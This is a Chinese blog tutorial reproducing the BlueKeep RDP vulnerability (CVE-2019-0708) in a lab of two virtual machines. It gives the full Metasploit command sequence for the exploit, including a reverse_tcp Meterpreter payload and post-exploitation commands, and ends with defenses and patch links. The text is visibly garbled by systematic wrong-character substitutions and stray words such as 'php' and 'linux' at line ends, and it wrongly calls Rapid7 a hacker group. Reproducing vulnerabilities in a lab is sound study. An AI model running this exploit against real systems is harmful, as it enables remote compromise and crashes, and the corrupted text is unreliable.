[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell

很早以前,我分享过一篇名叫 “四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解” 的博客,主要采用Python代码让目标XP系统蓝屏。当时也阅读了不少文章,包括谢公子大神和FreeBuf网站上的黑客大佬们的,但因为经验不足,不知道Msfconsole和Metasloit是什么东西,因此写得不太完善。做者最近一直在学习Windows漏洞利用,包括Msfconsole渗透工具及shell获取,这里咱们也回过头来继续分析CVE-2019-0708,利用RDP(EXP)和Metasploit工具反弹shell,并实现Win7远程桌面攻击。但愿文章对您有所帮助~php

做者做为网络安全的小白,分享一些自学基础教程给你们,主要是关于安全工具和实践操做的在线笔记,但愿您们喜欢。同时,更但愿您能与我一块儿操做和进步,后续将深刻学习网络安全和系统安全知识并分享相关实验。总之,但愿该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!若是文章对您有帮助,将是我创做的最大动力,点赞、评论、私聊都可,一块儿加油喔~html

PS:本文参考了安全网站和参考文献中的文章(详见参考文献),并结合本身的经验和实践进行撰写,也推荐你们阅读参考文献。python

下载地址:https://github.com/eastmountyxz/CVE-2019-0708-Windowslinux


声明:本人坚定反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络须要咱们共同维护,更推荐你们了解它们背后的原理,更好地进行防御。git

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登陆加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通讯(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防御
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防护初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防护原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防护原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防护(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提升班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制做(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客经常使用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)github


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差别备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包web



一.漏洞描述

2019年5月14日微软官方发布安全补丁,修复了Windows远程桌面服务的远程代码执行漏洞(CVE-2019-0708),该高危漏洞利用方式是经过远程桌面端口3389,RDP协议进行攻击的,堪比WannaCry。它影响了某些旧版本的Windows系统,包括:正则表达式

  • Windows 7 for 32-bit Systems Service Pack 1
  • Windows 7 for x64-based Systems Service Pack 1
  • Windows Server 2008 for 32-bit Systems Service Pack 2
  • Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
  • Windows Server 2008 for Itanium-Based Systems Service Pack 2
  • Windows Server 2008 for x64-based Systems Service Pack 2
  • Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
  • Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
  • Windows Server 2008 R2 for x64-based Systems Service Pack 1
  • Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
  • Windows XP SP3 x86
  • Windows XP Professional x64 Edition SP2
  • Windows XP Embedded SP3 x86
  • Windows Server 2003 SP2 x86
  • Windows Server 2003 x64 Edition SP2
  • Windows 8和Windows 10及以后版本的用户不受此漏洞影响

2019年09月07日,黑客组织Rapid7在Github公开发布了CVE-2019-0708(Windows远程桌面服务漏洞)的EXP,基于该模块的漏洞利用工具开始扩散,已经构成了蠕虫级的攻击威胁。算法

据360Center分析,该漏洞是预身份验证且无需用户交互,这意味着这个漏洞能够经过网络蠕虫的方式被利用。利用此漏洞的任何恶意软件均可能从被感染的计算机传播到其余易受攻击的计算机,其方式与2017年WannaCry恶意软件的传播方式相似。 成功利用此漏洞的攻击者能够在目标系统完成安装应用程序,查看、更改或删除数据,建立彻底访问权限的新帐户等操做。shell

CVE-2019-0708已公开的漏洞利用工具能够极易的被普通攻击者使用,脚本化/批量化/自动化攻击将接踵而至。经研判,360CERT确认漏洞等级严重,影响面广,建议相关单位、企业内部当即进行安全排查,给在漏洞影响范围内的服务器、主机及时更新安全补丁。


漏洞原理:
该漏洞利用方式是经过远程桌面端口3389,RDP协议进行攻击的。这个漏洞是2019年危害严重性极大的漏洞,相似以前的勒索病毒永恒之蓝。CVE-2019-0708漏洞是经过检查用户的身份认证,致使能够绕过认证,不用任何交互直接经过RDP协议进行链接,发送恶意代码执行命令到服务器中去。若是被攻击者利用,会致使服务器入侵中毒,像WannaCry永恒之蓝漏洞同样大规模的感染。2019年9月7日晚上凌晨1点左右,Metaspolit更新了漏洞利用程序。未经身份验证的攻击者利用该漏洞,向目标Windows主机发送恶意构造请求,能够在目标系统上执行任意代码。

该部分参考360网络安全响应中心文章,详见最后的参考文献。



二.环境搭建


第一步,在虚拟机中安装Windows 7 sp1系统和Kali系统。

在这里插入图片描述

第二步,虚拟机两个系统之间可以相互通讯。

  • Kali:192.168.44.129
  • Win7:192.168.44.132

在这里插入图片描述

在这里插入图片描述


第三步,打开Windows 7的远程协助,默认开启3389端口。

在这里插入图片描述
以下图所示,在Win7的CMD中输入“netstat -sn”查看端口3389是否打开。

在这里插入图片描述


第四步,将本地的Exp(RDP)文件下载至Kali系统。传输的方法不少,做者这里采用百度网盘下载。

  • rdp.rb
  • rdp_scanner.rb
  • cve_2019_0708_bluekeep.rb
  • cve_2019_0708_bluekeep_rce.rb

在这里插入图片描述

在这里插入图片描述

作完这些初始准备以后,咱们开始利用Kali系统进行漏洞复现。



三.利用Metasploit复现漏洞

第一步,将漏洞利用Ruby代码复制到相关文件夹内。

在这里插入图片描述

注意,若是提示rdp文件夹不存在,则须要先建立。

cd /usr/share/metasploit-framework/modules/exploits/windows
mkdir rdp
ls -al

在这里插入图片描述

复制文件至MSF安装的/usr/share指定目录,其核心语句以下:

cp ./rdp/rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/
cp ./rdp/rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
cp ./rdp/cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
cp ./rdp/cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/

在这里插入图片描述


第二步,进入Msfconsole并重载模块。

msfconsole
reload_all

在这里插入图片描述

在这里插入图片描述


第三步,利用search语句查找漏洞利用模块。

search 0708

在这里插入图片描述

注意,若是咱们没有导入EXP(RDP)文件,它仅有三个选项,以下图所示。这里咱们须要使用第四个选项来复现漏洞,因此须要先导入相关Ruby文件。

在这里插入图片描述


第四步,进入漏洞模块,并查看相关的使用说明。

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
show options
show targets

target是主机架构选择的意思,使用show targets可查看相关选项,这里必需要选择正确,不然会致使目标机器蓝屏。

在这里插入图片描述


第五步,设置攻击机、受害机信息。

# 目标机ip
set rhosts 192.168.44.132
# 攻击机ip
set lhost 192.168.44.129
# 目标机ip
set rdp_client_ip 192.168.44.129
# 取消RDP客户端名称
unset RDP_CLIENT_NAME
# 选择虚拟机格式 vmware
set target 3
# 显示配置信息
show options

在这里插入图片描述


第六步,攻击Windows 7系统,致使其蓝屏。

run
或
exploit

在这里插入图片描述

此时,Win7成功蓝屏且从新启动。

在这里插入图片描述

注意,目标主机防火墙开启或关闭都能攻击成功。

在这里插入图片描述


完整流程:

# 复制文件
cp ./rdp/rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/
cp ./rdp/rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
cp ./rdp/cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
cp ./rdp/cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/

# 开启工具
msfconsole
reload_all
search 0708

# 使用脚本
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

# 查看信息
show options
show targets
info

# 设置监听地址、目标地址、反弹payload、目标类型
set rhosts 192.168.44.132
set lhost 192.168.44.129
set rdp_client_ip 192.168.44.129
set payload windows/x64/meterpreter/reverse_tcp
unset RDP_CLIENT_NAME
set target 3

# 运行脚本
run
exploit

# 设置带宽
Set GROOMSIZE 40


四.常见问题

补充一句,“网络安全自学篇”系列文章会写100篇,做者全部走过的坑及相关基础用法都会记录,内容有点杂,请您谅解。但愿这100篇能让我入门安全圈,接下来会写第二个安全提升班的系列文章,那时可能更精简些,但愿您喜欢~


1.反弹shell-未解决

不论做者怎么尝试,一直没法获取shell。做者也尝试了“set targets 2”设置,但仍然没有实现shell反弹,换了不少种方法,怀疑是版本问题。

一句话,仍是本身太菜了,继续加油~

在这里插入图片描述

设置target为2,仍弹出“exploit completed but no session was created”致使受害主机蓝屏。

在这里插入图片描述

另外一种可能的缘由是:在传送250MB包且网速不受限制的状况下,网速最高达到48MB/s,可是现实中这个不可能达到的状况,现实中顶多也就是10MB/s左右,这个缘由是这个漏洞没法利用的重要缘由。Rdp协议链接超过30s左右就会被断开,250MB包要在30s左右发出去。那就须要9MB/s左右的网速。可是现实不太可能实现。Metasploit中的这个脚本是rb语言,环境不太通用,缺少移植性,这也是一个缘由。如果把rb语言换成python会好点,但这不是主要缘由,主要缘由仍是rdp协议自动断开的问题。但做者设置带宽还致使靶机被打倒蓝屏。

CVE-2019-0708漏洞,kali的msf中模块利用 - yumengzth

在这里插入图片描述

蓝屏页面。

在这里插入图片描述


最后,我只能给出这些大神(强烈推荐CSDN谢公子大佬文章)反弹shell的效果图,步骤和个人同样,只是结果不一样,一般EXP或参数设置错误就会致使目标蓝屏。

  • 查看详细信息
    可见关键设置主要为RHOSTS、RPORT、target
info

在这里插入图片描述

  • 反弹shell效果图
getuid
shell
whoim
pwd
session -l

在这里插入图片描述

在这里插入图片描述



2.rdp目录不存在-已解决

我在复制文件至rdp目录时,总提示文件不存在,以下图所示。

在这里插入图片描述

经过ls -l 目录/文件能够查看其属性和权限,看到“rdp”是存在的,我当时认为它权限不够,须要修改权限。

ls -al

在这里插入图片描述

这里补充Linux系统下文件权限相关知识,参考文章:
linux服务器搭建之路12-修改文件/文件夹属性和权限 - 追蜗牛的coder

在这里插入图片描述

第一个数字,数字表明的意义为:

  • 普通文件
  • d 目录
  • s socket套接字
  • l 软连接
  • p 管道
  • c 字符设备
  • b 块设备

权限分为读、写、执行,分别用一个数字表明。同时三个数字组合为一组分别表示用户、用户组、其余人的权限。显示的时候r表示文件能够被读(read),w表示文件能够被写(write),x表示文件能够被执行(若是它是程序的话)。修改的时候用数字,三位二进制恰好组成8进制。从右向左,x为第一位,十进制数字为1,w是第二位,十进制为2,r第三位,十进制为4。

权限 文件 文件夹
r 读 查看文件内容 列出文件夹内容
w 写 修改文件内容 能够在文件夹建立删除文件内容
x 执行 执行文件 能够进入文件夹

以下图所示,第一个7表示用户具备读、写、执行的权限,用户组和其余人都只有读和执行的权限。

在这里插入图片描述

修改文件或者目录的权限,change permissions mode of a file简称chmod命令。这里设置每一个人都有读写和执行权限。

chmod 777 rdp

在这里插入图片描述


但不幸的是仍然报错,没法复制文件。后来终于找到缘由了,做者的rdp是文件,第一个数字对应“-”,而咱们须要的是目录,对应第一个数字应该是“d”。因此,最后删除该rdp文件,并调用“mkdir rdp”建立文件夹解决。写代码或实践过程当中,不少小错误很是致命,你们都须要注意。



五.防护及总结

写到这里,这篇文章就介绍结束了,后续尝试复现MS17_010永恒之蓝漏洞,但愿对您有所帮助。这篇文章也存在一些不足,做者没有深刻理解其原理,也是做为网络安全初学者的慢慢成长路吧!但愿将来能更透彻撰写相关文章。

最后补充防护方法:

  • 微软官方已经发布更新补丁(包括Windows XP等中止维护的版本),请用户及时进行补丁更新
  • 若用户不须要用到远程桌面服务,建议禁用该服务
  • 在防火墙中对TCP 3389端口进行阻断
  • 安全策略禁止掉3389远程端口,只容许本身的IP通讯
  • 开启系统防火墙或IP安全策略限制来源IP,即只容许指定IP访问
  • 启用网络级认证(NLA),此方案使适用于Windows 7, Windows Server 2008, and Windows Server 2008 R2
  • 安装必要的防火墙或杀毒软件,关注安全公司的漏洞报告或防护文章

在这里插入图片描述

修复补丁:

  • Windows 7 sp1:
    http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-x64_3704acfff45ddf163d8049683d5a3b75e49b58cb.msu
  • Windows Server 2008 R2:
    http://download.windowsupdate.com/c/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-x64_3704acfff45ddf163d8049683d5a3b75e49b58cb.msu

感谢CoolCat大佬对这篇文章的补充和指正:

  • Rapid7是一个黑客组织
  • Win7默认没有开3389
  • msf如今内置bluekeep和rce的exp,不须要单独下载
  • 弹shell失败是由于这个洞自己具备极大的局限性,实战中rce几乎没有利用价值

但愿这系列文章对您有所帮助,真的感受本身技术好菜,要学的知识好多。这是第58篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,做为初学者,本身真是爬着前行,感谢不少人的帮助,继续爬着,继续加油!

欢迎你们讨论,是否以为这系列文章帮助到您!任何建议均可以评论告知读者,共勉。


(By:Eastmount 2020-03-12 下午6点写于贵阳 http://blog.csdn.net/eastmount/ )


参考文献:
[1] https://github.com/n1xbyte/CVE-2019-0708
[2] (强推) CVE-2019-0708 远程桌面漏洞复现 - 谢公子大神
[3] CVE-2019-0708——RDP漏洞利用 - 小白白@
[4] CVE-2019-0708——反弹shell - 小白白@
[5] https://github.com/n1xbyte/CVE-2019-0708
[6] CVE-2019-0708 漏洞利用复现 - u010062917
[7] 使用Kali Linux系统进行CVE 2019-0708漏洞复现 - dahege666
[8] https://github.com/rapid7/metasploit-framework
[9] CVE-2019-0708/1181/1182:Windows RDP服务蠕虫级漏洞修复指南(Version 3.0) - 360
[10] CVE-2019-0708漏洞,kali的msf中模块利用 - yumengzth
[11] linux服务器搭建之路12-修改文件/文件夹属性和权限 - 追蜗牛的coder
[12] CVE-2019-0708远程桌面代码执行漏洞复现 - dylan903
[13] 攻击代码被公布,Windows远程桌面服务代码执行漏洞(CVE-2019-0708)预警 - 深信服
[14] 堪比WannaCry的CVE-2019-0708漏洞复现(EXP利用) - B站